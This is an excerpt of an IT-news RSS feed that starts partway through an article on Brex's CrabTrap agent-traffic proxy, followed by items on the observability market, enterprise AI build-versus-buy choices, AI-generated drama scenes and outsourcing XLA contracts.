held-out requests.”</p><p>Additionally, CrabTrap revealed how much noise agents generate. “The audit trail made this visible for the first time,” Franceschi said. They used denial logs and traffic analysis not only to tune policies, but to tighten agents themselves, remove tools, and cut out entire categories of requests that were wasting both time and tokens.</p><p>“The proxy became a discovery tool, not just an enforcement one,” he said. </p><h2>Areas for growth (and input from the open-source community)</h2><p>Brex anticipates CrabTrap to continue to evolve, particularly as they have released it as open-source. “We hope the community helps shape it,” Franceschi said. </p><p>Areas of improvement include deeper authentication functionality such as single-sign on (SSO), fine-grained role-based access control (RBAC); escalation workflows that allow agents to request additional permissions; and policy recommendations based on denial patterns.</p><p>Programmatic configuration, or developing API endpoints for “creating, forking, and applying” policies to agents, could allow the whole policy lifecycle to be automated rather than managed manually, Franceschi said. </p><p>As for escalation, if an agent is continuously denied a given resource or endpoint, it should be able to route requests to humans or other AI agents for review and back that up with a rationale for why it needs access. </p><p>“That turns CrabTrap from a hard enforcement boundary into something more like a managed permission system,” Franceschi said. </p><p>Additionally, the policy was built to bootstrap from network traffic, but there is opportunity to incorporate additional signals around agent traces and resource-calling, as well as broader context on what agents are ultimately trying to accomplish. This can help produce more accurate and nuanced policies. </p><p>Finally, there's an “open philosophical question” about the right posture for CrabTrap: Should it be a fully transparent layer that the agent itself is unaware of, or should it operate more like a “well-intentioned manager”? (that is, the agent knows about the layer and can interact with it). </p><p>The open-source community can help shape these developments, and CrabTrap will only get better with more users, Franceschi said. Brex’s agents speak to a specific set of APIs; teams using CrabTrap with different agents, services, and policy requirements will surface “edge cases and patterns we can't hit alone.”</p><p>“We have ambitious plans for where it could go, and we’d rather build in the open,” Franceschi said. </p><h2>What other builders can learn from CrabTrap</h2><p>The response has been stronger than expected. <a href="https://github.com/brexhq/CrabTrap">CrabTrap has more than 700 stars on GitHub</a>. Franceschi said Brex has also heard from OpenAI, Y Combinator CEO Garry Tan, and programmer Pete Steinberger, all expressing interest in deploying similar internal infrastructure.</p><p>The broader lesson: “Don't let infrastructure gaps become excuses to wait," Franceschi advised. There are “real blockers” for every enterprise looking to seriously deploy AI agents, including security concerns, lack of tooling, or unclear guardrails. </p><p>“It's tempting to sit on your hands until the industry catches up,” he said. “The lesson from CrabTrap is that you can own those problems directly.”</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI workloads shake up observability market]]></title>
<description><![CDATA[Observability platforms are evolving beyond traditional monitoring as vendors add AI capabilities and cost-management features aimed at helping enterprise organizations better manage increasingly complex IT environments.



Vendors are investing heavily in AI observability, autonomous investigati...]]></description>
<link>https://tsecurity.de/de/3676598/it-security-nachrichten/ai-workloads-shake-up-observability-market/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676598/it-security-nachrichten/ai-workloads-shake-up-observability-market/</guid>
<pubDate>Fri, 17 Jul 2026 18:28:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/972187/how-to-shop-for-network-observability-tools.html" target="_blank">Observability platforms</a> are evolving beyond traditional monitoring as vendors add AI capabilities and cost-management features aimed at helping enterprise organizations better manage increasingly complex IT environments.</p>



<p class="wp-block-paragraph">Vendors are investing heavily in AI observability, autonomous investigations, cost optimization, and operational intelligence as they try to evolve their platforms into systems that help IT teams understand problems, identify root causes, and determine the best course of action, according to Gartner, which just published its latest <a href="https://www.gartner.com/en/documents/8114397" target="_blank" rel="noreferrer noopener">Magic Quadrant for Observability Platforms</a>.</p>



<p class="wp-block-paragraph">Gartner defines the observability category as technologies that help organizations understand and optimize the health, performance, and behavior of applications, infrastructure, services, AI agents, and user experiences by collecting and analyzing telemetry data, such as logs, metrics, events, and traces.</p>



<p class="wp-block-paragraph">There are 19 vendors that made the cut for Gartner’s new report. Its Leaders quadrant includes (alphabetically) Chronosphere, Coralogix, Datadog, Dynatrace, Elastic, Grafana Labs, IBM, and New Relic. The Challengers are Alibaba Cloud, Amazon Web Services, LogicMonitor, Microsoft, and Splunk. The two Visionaries are BMC Helix and Honeycomb. Those dubbed Niche Players are Apica, HPE, ScienceLogic, and SolarWinds. (For specific vendor strengths and cautions, check out the full Gartner report. Some vendors offer free versions of the report with registration.)</p>



<p class="wp-block-paragraph">Looking beyond quadrant placement, Gartner advises organizations to evaluate vendors based on their ability to deliver full-stack observability and their “roadmap credibility” in key areas such as AI observability, OpenTelemetry interoperability, and the ability to observe and govern AI agents.</p>



<h2 class="wp-block-heading">AI observability emerges as a key differentiator</h2>



<p class="wp-block-paragraph">Organizations are increasingly looking for visibility into AI workloads, including token consumption, model latency, response quality, hallucination rates, and other AI-specific performance metrics, according to the report. Gartner identifies <a href="https://www.networkworld.com/article/4047640/ai-networking-success-requires-deep-real-time-observability.html" target="_blank">AI observability</a> as an emerging requirement, driven by growing enterprise interest in large language models (LLMs), genAI applications, and agentic AI systems.</p>



<p class="wp-block-paragraph">The report recognizes a growing number of vendors introducing AI-focused monitoring, autonomous investigations, AI agents, and specialized observability capabilities designed to help organizations monitor and govern AI-powered applications and workflows. At the same time, Gartner clarifies that many claims surrounding autonomous operations remain ahead of reality. </p>



<p class="wp-block-paragraph">“The transition from generative AI assistants to autonomous agents is more complex than vendor marketing suggests,” the report states.</p>



<h2 class="wp-block-heading">Cost management becomes a top priority</h2>



<p class="wp-block-paragraph">While AI may dominate vendor messaging, Gartner states that telemetry cost management remains one of the top concerns for enterprise buyers.</p>



<p class="wp-block-paragraph">As organizations collect larger amounts of logs, traces, metrics, and events, observability spending is increasingly attracting attention from finance and procurement teams. Gartner notes that 5% of its clients now spend more than $10 million annually with a single observability provider.</p>



<p class="wp-block-paragraph">Gartner describes pipeline management as a strategic layer that is becoming central to observability deployments. Vendors that fail to address these cost concerns risk losing customers to vendor-agnostic alternatives focused on telemetry optimization. Organizations increasingly want platforms that can provide cost attribution, utilization insights, and financial metrics that help justify observability investments, according to Gartner.</p>



<p class="wp-block-paragraph">Gartner projects the observability market will reach $14.3 billion by 2028, driven increasingly by organizations’ need to manage growing telemetry volumes.</p>



<h2 class="wp-block-heading">OpenTelemetry is table stakes as consolidation continues</h2>



<p class="wp-block-paragraph">The growing impact of open standards is a major shift for observability, Gartner notes.</p>



<p class="wp-block-paragraph">The widespread adoption of <a href="https://www.networkworld.com/article/3621642/5-reasons-why-2025-will-be-the-year-of-opentelemetry.html" target="_blank">OpenTelemetry</a> and eBPF-based instrumentation has lowered barriers to switching observability providers and made telemetry collection increasingly commoditized, the research firm explains. Gartner says many enterprise buyers now consider OpenTelemetry support a baseline requirement rather than a differentiator.</p>



<p class="wp-block-paragraph">As a result, vendors are now trying to differentiate themselves through analytics, automation, AI capabilities, and user experience rather than proprietary data collection approaches. That shift is forcing vendors to demonstrate value beyond monitoring and visibility, as buyers seek platforms capable of accelerating troubleshooting, automating investigations, and improving operational outcomes, according to Gartner.</p>



<p class="wp-block-paragraph">Gartner says market consolidation continues to favor platform-oriented vendors that combine full-stack observability with integrated AI capabilities. Organizations are increasingly looking for unified platforms that can monitor applications, infrastructure, digital experiences, and AI workloads from a single environment.</p>



<h2 class="wp-block-heading">The rise of operational intelligence</h2>



<p class="wp-block-paragraph">As enterprises modernize applications and expand AI initiatives, organizations want platforms that can not only identify problems but also explain causes, prioritize actions, and potentially automate remediation. Vendors are expanding observability platforms with AI-driven analytics, automation, and governance capabilities that span applications, infrastructure, cloud services, and AI workloads.</p>



<p class="wp-block-paragraph">For enterprise buyers, the next phase of observability may be defined less by telemetry collection and more by how effectively vendors can transform data into intelligence, automation, and measurable business outcomes.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Context Engineering Isn’t Enough — A Loop Engineering Experiment With No LLM Inside the Loop]]></title>
<description><![CDATA[Everyone is talking about loop engineering, but most discussions assume an LLM sits at the center of the loop. I wanted to isolate the architecture itself. So I built a deterministic, zero-dependency Python benchmark that replaces the model with simple rules, allowing me to measure one question d...]]></description>
<link>https://tsecurity.de/de/3676200/ai-nachrichten/context-engineering-isnt-enough-a-loop-engineering-experiment-with-no-llm-inside-the-loop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676200/ai-nachrichten/context-engineering-isnt-enough-a-loop-engineering-experiment-with-no-llm-inside-the-loop/</guid>
<pubDate>Fri, 17 Jul 2026 15:33:57 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Everyone is talking about loop engineering, but most discussions assume an LLM sits at the center of the loop. I wanted to isolate the architecture itself. So I built a deterministic, zero-dependency Python benchmark that replaces the model with simple rules, allowing me to measure one question directly: can a goal-directed controller isolate failures better than a traditional linear pipeline? After validating the benchmark across 300 random seeds—and fixing a subtle bug that initially invalidated my own results—I found that the controller consistently completed independent branches that a linear executor never reached. This article walks through the architecture, the benchmark design, the debugging process, and the evidence behind a narrow but practical claim: failure isolation is a measurable property of control flow, independent of LLM reasoning.</p>
<p>The post <a href="https://towardsdatascience.com/context-engineering-isnt-enough-a-loop-engineering-experiment-with-no-llm-inside-the-loop/">Context Engineering Isn’t Enough — A Loop Engineering Experiment With No LLM Inside the Loop</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How ‘Agent Kim Reactivated’ used AI to Create So Ji-sub’s Backstory]]></title>
<description><![CDATA[SBS drama Agent Kim Reactivated has drawn attention after using artificial intelligence to create a nearly three-minute sequence that explores Manager Kim's past. 



The story follows the character played by So Ji-sub during a secret mission in North Korea, giving viewers a look at his earlier l...]]></description>
<link>https://tsecurity.de/de/3675948/ios-mac-os/how-agent-kim-reactivated-used-ai-to-create-so-ji-subs-backstory/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675948/ios-mac-os/how-agent-kim-reactivated-used-ai-to-create-so-ji-subs-backstory/</guid>
<pubDate>Fri, 17 Jul 2026 13:55:51 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[SBS drama Agent Kim Reactivated has drawn attention after using artificial intelligence to create a nearly three-minute sequence that explores Manager Kim's past. 



The story follows the character played by So Ji-sub during a secret mission in North Korea, giving viewers a look at his earlier life through AI-generated scenes instead of traditional filming. The sequence appeared across the drama's first two episodes and stands out as one of the longest AI-generated story segments used in a Korean drama.



The production relied on AICRON, an AI platform developed by Korean visual effects specialists. The sequence includes large-scale explosions, snow-covered car chases, tunnel pursuits, vehicle crashes, underwater recovery operations, gunfights, hand-to-hand combat, and close-up character shots while keeping the characters visually consistent from beginning to end.



AI helps bring Manager Kim's story to life



At an SBS Drama media event, Studio S CEO Hong Sung-chang explained why the company invested heavily in AI for upcoming productions.




"We have incorporated AI extensively into upcoming productions. Viewers will be informed through on-screen captions whenever AI is used. Reducing production costs is certainly one advantage, but the greater significance lies in proving that it can be done. I believe audiences will come to appreciate it even more over time."




The AI work was completed by Morpheus Studio under the supervision of vice president Ryu Jae-hwan, whose previous film credits include 1947 Boston, Swing Kids, and Flu.




"We completed an entire story sequence essential to the narrative using AI. Manager Kim was conceived from the planning stage with a clear purpose for incorporating AI. It demonstrates the potential for AI to become a new production tool that brings creators' imagination to life," Ryu said.




Morpheus Studio also highlighted that the complete sequence was produced using the Korean-developed AICRON platform, calling it an important milestone for domestic AI technology. The company said this experience will help expand the platform for wider commercial use, showing how AI can support ambitious storytelling while reducing the need for expensive overseas shoots, large sets, practical effects, and heavy visual effects work.]]></content:encoded>
</item>
<item>
<title><![CDATA[Top 10 Best Identity Threat Detection and Response (ITDR) Solutions in 2026]]></title>
<description><![CDATA[Identity has become the primary battleground of enterprise cybersecurity. Attackers increasingly bypass traditional defenses by stealing credentials, hijacking sessions, abusing privileged accounts, and exploiting misconfigurations across Active Directory, cloud platforms, SaaS applications, and ...]]></description>
<link>https://tsecurity.de/de/3675717/it-security-nachrichten/top-10-best-identity-threat-detection-and-response-itdr-solutions-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675717/it-security-nachrichten/top-10-best-identity-threat-detection-and-response-itdr-solutions-in-2026/</guid>
<pubDate>Fri, 17 Jul 2026 12:20:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Identity has become the primary battleground of enterprise cybersecurity. Attackers increasingly bypass traditional defenses by stealing credentials, hijacking sessions, abusing privileged accounts, and exploiting misconfigurations across Active Directory, cloud platforms, SaaS applications, and non-human identities. Microsoft reported more than 7,000…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/top-10-best-identity-threat-detection-and-response-itdr-solutions-in-2026/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/top-10-best-identity-threat-detection-and-response-itdr-solutions-in-2026/">Top 10 Best Identity Threat Detection and Response (ITDR) Solutions in 2026</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The build vs. buy dilemma at the heart of enterprise AI]]></title>
<description><![CDATA[For three decades, enterprise software has been a buy-it decision. Packaged software from SAP, Oracle and Salesforce covered roughly 80% of requirements at a fraction of the cost of building. The economics were obvious, and for traditional applications, they still are.



AI is introducing a wrin...]]></description>
<link>https://tsecurity.de/de/3675706/it-nachrichten/the-build-vs-buy-dilemma-at-the-heart-of-enterprise-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675706/it-nachrichten/the-build-vs-buy-dilemma-at-the-heart-of-enterprise-ai/</guid>
<pubDate>Fri, 17 Jul 2026 12:17:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For three decades, enterprise software has been a buy-it decision. Packaged software from SAP, Oracle and Salesforce covered roughly 80% of requirements at a fraction of the cost of building. The economics were obvious, and for traditional applications, they still are.</p>



<p class="wp-block-paragraph">AI is introducing a wrinkle that is forcing even the most committed enterprise software customers to rethink their options. AI is a layer that sits across your data, your processes, and your decisions. Where that layer runs and who controls it is an architecture question, and most of the enterprise community is still treating it as a procurement one.</p>



<p class="wp-block-paragraph">The appeal of vendor-embedded AI is clear: automated operational decisions, smarter supplier and merchandising choices, and friction-free workflows built into the systems enterprises already rely on. The catch is that these capabilities almost universally depend on your data living in the vendor’s cloud environment. For most large enterprises, it sits on-premises, in hyperscale cloud infrastructure they manage themselves, or in private data centers. That gap between where your data is and where your vendor’s AI assumes it should be creates a fundamental strategic fork in the road.</p>



<h2 class="wp-block-heading"><a></a>Build vs. buy is a category error</h2>



<p class="wp-block-paragraph">The framing I keep hearing is “build vs. buy your AI strategy.” It implies that some organizations are out there training foundation models from scratch. Nobody serious is doing that. The real choice sits across three distinct approaches, and conflating them leads to poor decisions:</p>



<ul class="wp-block-list">
<li><strong>Buy embedded. </strong>Use the AI capabilities your vendor ships natively inside their platform: the assistant baked into your ERP, your CRM, your HCM suite. Lowest integration cost, fastest time to value, tightest fit with the application data.</li>



<li><strong>Buy platform.</strong> Adopt the vendor’s AI infrastructure layer and build your own assistants and agents on top of it. More flexible, but you remain inside the vendor’s architectural boundary and subject to their governance model.</li>



<li><strong>Compose.</strong> Connect a third-party model (Claude, GPT, Gemini, an open-weight model running in your own environment) directly to your existing landscape. Maximum control, maximum integration burden, and full responsibility for what comes out the other end.</li>
</ul>



<p class="wp-block-paragraph">These are not equivalent options at different price points. They make different assumptions about where your data lives, who governs the AI, and how much architectural change you’ll absorb to get there. Vendor pitches sometimes blur the distinction on purpose. Enterprise leaders can’t afford to.</p>



<h2 class="wp-block-heading"><a></a>The vendor AI stack has an assumption baked in</h2>



<p class="wp-block-paragraph">Every embedded AI capability ships with an unstated architectural prerequisite: your data must be where the AI can see it, in the shape it expects, under the governance the vendor enforces.</p>



<p class="wp-block-paragraph">For organizations with clean, modern cloud estates, that is often a reasonable trade. For the long tail of large enterprises running heavily customized environments on private or hybrid infrastructure, that trade becomes a precondition, one you must meet before the AI conversation can even begin. Whether meeting it makes sense depends on your starting point, your sector’s regulatory posture, and your appetite for migration risk. None of those are uniform across organizations.</p>



<p class="wp-block-paragraph">That’s the part that gets glossed over in vendor keynotes. The AI demo on stage assumes a destination architecture the audience hasn’t necessarily reached yet. Large enterprise customers are carrying an unusually heavy technology burden right now. Many are simultaneously managing platform modernization programs that have been building for over a decade, alongside pressure to migrate to vendor-managed cloud infrastructure. Sitting above both is a boardroom-level directive to demonstrate meaningful AI progress fast. The vendor path to AI and the boardroom path to AI can diverge sharply, and enterprises need to make selective, strategic decisions about where to adopt AI first to maximize value and minimize risk.</p>



<h2 class="wp-block-heading"><a></a>Sovereignty isn’t a slogan, it’s an architecture constraint</h2>



<p class="wp-block-paragraph">The conversation about sovereignty has been hijacked by both sides. One camp treats every SaaS adoption as a sovereignty violation. The other dismisses every sovereignty concern as Luddite resistance. Neither is useful.</p>



<p class="wp-block-paragraph">What’s happening in real customer conversations – particularly in DACH, public sector, and financial services – is more specific. Organizations are drawing a distinction between running their applications in a vendor’s cloud (which is broadly fine, well understood, decades of precedent) and enriching their data and processes inside a vendor’s AI model (which has less precedent, is harder to reverse, and carries material implications for competitive position).</p>



<p class="wp-block-paragraph">Enriching your data inside a vendor’s AI model is the genuinely new question, and organizations that conflate it with their existing cloud posture tend to defend the wrong perimeter.</p>



<p class="wp-block-paragraph">Despite spending around $100 million annually with Amazon, <a href="https://www.uctoday.com/unified-communications/disney-openai-enterprise-strategy/">Disney built its own internal AI system</a> to house its corporate intelligence rather than rely on a hyperscaler’s AI offering. The decision came down to control. When your data represents decades of creative and commercial IP, you think carefully about where it lives and who can learn from it. Disney has become more open to SaaS over time. The AI sovereignty question is a separate debate from the SaaS debate and conflating the two leads organizations to the wrong conclusions.</p>



<p class="wp-block-paragraph">At the other end of the spectrum, enterprises in heavily regulated environments treat data sovereignty as an absolute non-negotiable. Any AI model must run within their controlled environment, especially where sensitive data cannot touch the public internet.<a href="https://gdpr.eu/what-is-gdpr/"> </a><a href="https://gdpr.eu/what-is-gdpr/">GDPR obligations</a> reinforce this instinct across the European market, requiring organizations to maintain clear accountability for how personal data is processed inside AI systems, including vendor-managed ones.</p>



<p class="wp-block-paragraph">AI-enriched data, meaning models that have learned the shape of your business processes, your supplier negotiations, your customer behavior, carries a different half-life and a different strategic value than the operational data underneath it. That deserves its own architectural decision, separate from your broader cloud strategy.<a></a></p>



<h2 class="wp-block-heading">What this means in practice</h2>



<p class="wp-block-paragraph">Most large enterprise estates will end up with a mix of all three approaches, and where you draw the lines matters more than your overall posture.</p>



<p class="wp-block-paragraph">Embedded AI capabilities are the right answer for in-application productivity: the assistant inside your ERP workflows, the agent inside your procurement or HR suite. That is where vendor embedding genuinely shines, and attempting to compose your own equivalent is typically a poor use of engineering resources.</p>



<p class="wp-block-paragraph">Compose belongs elsewhere: in cross-application orchestration, in custom assistants over operational and observability data, and in agents that need to reach across multiple vendor systems and infrastructure layers in ways no single vendor stack will never natively support. <a href="https://www.mckinsey.com/capabilities/mckinsey-digital/our-insights/the-top-trends-in-tech">Research from McKinsey</a> suggests the most significant near-term productivity gains from enterprise AI will come precisely from these cross-system workflows, rather than from within individual applications. The most interesting enterprise AI work over the next eighteen months lives here, and it doesn’t require waiting for a migration to complete first.</p>



<p class="wp-block-paragraph">That compose path isn’t free, and it’s important to be honest about the costs. Governance, audit trails, and accountability for hallucinated outputs become your problem, not the vendor’s. Prompt drift and evaluation discipline are real engineering costs that never appear in the proof-of-concept. Those costs scale with the complexity of your landscape and the number of systems your agents touch. Budget for them before deployment, not after your first production incident. None of that is a reason to avoid the path. It’s a reason to staff for it, honestly.<a></a></p>



<h2 class="wp-block-heading">The real question</h2>



<p class="wp-block-paragraph">The build-vs-buy frame survives because it gives executives a binary choice along a familiar axis. AI sits somewhere else entirely.</p>



<p class="wp-block-paragraph">The question worth putting on the table at your next architecture review is simpler:</p>



<p class="wp-block-paragraph">Which decisions do we want our vendors’ AI to make, and which do we want to keep on our side of the boundary?</p>



<p class="wp-block-paragraph">Answer that, and the right build/buy/compose mix flows from it. Skip it, and you will end up with the architecture your vendors prefer – which may or may not be the one your business needs.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to add XLAs to your outsourcing contract]]></title>
<description><![CDATA[Organizations usually face the same questions concerning XLAs: What should we measure, who owns the data, how should incentives work, and how will this change provider behavior after signature.



There are no easy answers either, but after advising clients in MSP relationships with major provide...]]></description>
<link>https://tsecurity.de/de/3675704/it-nachrichten/how-to-add-xlas-to-your-outsourcing-contract/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675704/it-nachrichten/how-to-add-xlas-to-your-outsourcing-contract/</guid>
<pubDate>Fri, 17 Jul 2026 12:17:06 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Organizations usually face the same questions concerning XLAs: What should we measure, who owns the data, how should incentives work, and how will this change provider behavior after signature.</p>



<p class="wp-block-paragraph">There are no easy answers either, but after advising clients in MSP relationships with major providers, I’ve seen what works and what doesn’t. Successful XLA programs rarely start with massive transformation, nor rely on perfection before adding experience accountability to the contract.</p>



<h2 class="wp-block-heading">Start with the right metrics</h2>



<p class="wp-block-paragraph">The first concern I hear is what to measure. MSPs often steer that discussion toward metrics already in their reporting stack. That’s a trap.</p>



<p class="wp-block-paragraph">Unlike SLAs, which measure operational outputs, XLAs should focus on employee experience and <a href="https://www.cio.com/article/4166168/cios-rethink-its-operating-model-to-deliver-better-business-outcomes.html?utm=hybrid_search">business outcomes</a>. The strongest programs start with three to five high-signal metrics tied to the employee journeys creating the most friction. More than that and the program loses focus before it gains traction.</p>



<p class="wp-block-paragraph">I typically recommend starting with employee satisfaction scores, perceived lost productivity time, repeat incident rates, task completion success, and ease of getting support. Then focus early measurement on common employee experiences like service desk interactions, employee onboarding, application reliability, and device performance.</p>



<p class="wp-block-paragraph">Trying to measure everything is understandable, but it’s also one of the fastest ways to stall an XLA program.</p>



<h2 class="wp-block-heading">Precisely define roles and responsibilities</h2>



<p class="wp-block-paragraph">This is the part of XLA contract design where I spend the most time with clients, and it’s the part that major MSPs are most likely to leave vague if you let them. Accenture and TCS both have mature commercial teams skilled at agreeing to things in principle while avoiding specific accountability in writing. Don’t let that happen here.</p>



<p class="wp-block-paragraph">Employee experience isn’t solely the vendor’s responsibility. It’s genuinely shared, which is a more productive framing than pure vendor accountability, but only if the split is clearly spelled out. This is what I’ve found works in practice.</p>



<p class="wp-block-paragraph"><strong>Customer responsibilities</strong></p>



<ul class="wp-block-list">
<li>Selecting tools and platforms</li>



<li>Managing data infrastructure</li>



<li>Sharing experience data openly with the provider</li>



<li>Supporting internal improvement initiatives that the provider flags</li>
</ul>



<p class="wp-block-paragraph"><strong>Vendor responsibilities</strong></p>



<ul class="wp-block-list">
<li>Running the measurement cadence</li>



<li>Delivering monthly experience reporting</li>



<li>Identifying and surfacing improvement opportunities from the data</li>



<li>Executing operational improvements within agreed timelines</li>
</ul>



<p class="wp-block-paragraph">Without this level of specificity, XLA programs almost always become reporting exercises. The data gets collected, the scorecard gets presented, and nothing actually changes.</p>



<h2 class="wp-block-heading">Build flexible targets</h2>



<p class="wp-block-paragraph">One of the biggest mistakes in <a href="https://www.cio.com/article/4178678/your-outsourcing-contract-needs-xlas-not-just-slas.html?utm=hybrid_search">XLA design</a> is treating experience targets like traditional SLAs,  setting once at contract signing and left unchanged for years. Employee expectations, workforce patterns, and technology environments, after all, evolve constantly. A target that feels ambitious in year one may become meaningless by year three.</p>



<p class="wp-block-paragraph">The strongest XLA contracts include formal reviews every three to six months to recalibrate targets, align with business priorities, and raise expectations as experience improves. This prevents providers from locking in easy wins and coasting. When providers resist review cycles, it’s often a sign they believe the targets can be met on autopilot, a red flag in any XLA program.</p>



<h2 class="wp-block-heading">Use the right scoring method</h2>



<p class="wp-block-paragraph">One overlooked XLA best practice is how experience scores are calculated. Point-in-time scores can be distorted by outages, isolated incidents, or low survey participation, and providers sometimes exploit that volatility.</p>



<p class="wp-block-paragraph">I advise clients to calculate official XLA scores using rolling two-month averages instead of snapshots. It creates a more stable and accurate view of experience trends, and makes operational timing games much harder. Most importantly, define the scoring methodology explicitly in the contract. Don’t leave it to be worked out operationally after signing.</p>



<h2 class="wp-block-heading">Structure incentives carefully</h2>



<p class="wp-block-paragraph">Relying on penalty-only incentives is one of the most expensive XLA mistakes. On paper, the model is simple: miss the target, pay the penalty. In practice, it drives the wrong behavior. Providers focus on protecting themselves instead of improving employee experience, optimizing survey timing, and managing averages rather than solving problems collaboratively.</p>



<p class="wp-block-paragraph">I’ve seen this repeatedly in Infosys, HCL, and TCS relationships. The strongest XLA structures combine risk and reward where providers earn meaningful upside for exceeding targets, innovating, and improving outcomes. Penalties still matter, especially in mature programs, but they can’t be the only lever otherwise the contract becomes another SLA model with better branding.</p>



<h2 class="wp-block-heading">Define escalation processes</h2>



<p class="wp-block-paragraph">When experience scores fall below threshold, the contract needs to specify what happens next. This sounds obvious, but I’ve reviewed many service delivery measurement frameworks in clients’ incumbent MPS contracts that specify financial consequences without defining any collaborative process to address the underlying problem.</p>



<p class="wp-block-paragraph">The escalation language I push clients to include specifies:</p>



<ul class="wp-block-list">
<li>a joint review process triggered when scores fall below threshold.</li>



<li>root cause analysis expectations and timelines.</li>



<li>remediation planning requirements with named owners on both sides.</li>



<li>timelines for corrective action and progress reporting.</li>
</ul>



<p class="wp-block-paragraph">The framing matters as much as the mechanics. Escalation should be positioned as collaborative problem-solving, not blame assignment. Contracts that turn every missed score into a commercial dispute damage the relationship when provider engagement matters most. The best MSPs treat escalation as a shared diagnostic exercise, not a contractual confrontation.</p>



<h2 class="wp-block-heading">Establish an operating rhythm</h2>



<p class="wp-block-paragraph">Signing the contract is the beginning, not the end. In my experience, the organizations that get the most out of XLA programs are those that build a disciplined operating cadence and stick to it. The ones that treat XLAs as a reporting exercise almost never see meaningful improvement.</p>



<p class="wp-block-paragraph">This is the cadence I recommend:</p>



<p class="wp-block-paragraph"><strong>Daily</strong>: Both parties maintain live dashboards showing experience trends, application performance, regional issues, and persona-specific insights to catch emerging issues.</p>



<p class="wp-block-paragraph"><strong>Weekly</strong>: Customer and vendor teams hold focused working sessions to determine what improved experience this week, what hurt it, which remediation actions were completed, and what’s the priority for next week.</p>



<p class="wp-block-paragraph"><strong>Monthly</strong>: Formal governance meetings to review experience scores, improvement actions, root cause discussions, and cross-functional issues that need escalation.</p>



<p class="wp-block-paragraph"><strong>Biannually</strong>: Leadership steering meetings to assess overall experience performance, recalibrate targets, and align the XLA program with evolving business priorities to honestly evaluate whether or not the program is driving the outcomes the organization actually cares about.</p>



<h2 class="wp-block-heading">Common mistakes organizations make</h2>



<p class="wp-block-paragraph">After working through XLA design and implementation with clients across their MSP relationships, the failure modes are predictable. Here’s what to watch for.</p>



<p class="wp-block-paragraph"><strong>Setting targets before establishing a baseline<br></strong>Rushing into targets before understanding your current state is one of the fastest ways to create disputes. Spend the first three to six months gathering baseline data, then negotiate targets based on evidence rather than guesswork.</p>



<p class="wp-block-paragraph"><strong>Measuring too much<br></strong>More metrics don’t create more insight. Frameworks with 20 data points rarely survive operational reality. Start focused and expand gradually.</p>



<p class="wp-block-paragraph"><strong>Hiding the data<br></strong>Transparency is foundational to XLAs. Providers who obscure poor scores, especially when controlling the measurement platform, undermine the entire model. Clients who weaponize the data create the same problem. Build mutual transparency obligations into the contract.</p>



<p class="wp-block-paragraph"><strong>Over-relying on penalties<br></strong>Penalty-only structures recreate legacy SLA behaviors. Balanced incentives drive better long-term outcomes.</p>



<p class="wp-block-paragraph"><strong>Treating XLAs as static<br></strong>Employee expectations, technology, and business priorities evolve constantly. Without formal review cycles, XLA programs quickly become irrelevant<strong>.</strong></p>



<h2 class="wp-block-heading">Start smaller than you think you need to</h2>



<p class="wp-block-paragraph">The organizations that get XLAs right are rarely the ones with the most sophisticated tooling. They’re the ones that stopped waiting for a perfect program and introduced real accountability into the contract with what they had.</p>



<p class="wp-block-paragraph">The most effective starting points are often simple: agree on a focused set of experience metrics, establish a six-month review cycle, commit to shared visibility and data transparency, and create joint accountability for continuous improvement.</p>



<p class="wp-block-paragraph">From there, maturity develops over time. Governance builds trust, data becomes more actionable, and targets evolve alongside business priorities. The relationship shifts from compliance management to outcome-driven partnership.</p>



<p class="wp-block-paragraph">In my experience, the organizations that succeed are the ones that stopped accepting green scorecards at face value and demanded something more meaningful.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The SaaS blind spot: Why security teams can’t get inside their own apps]]></title>
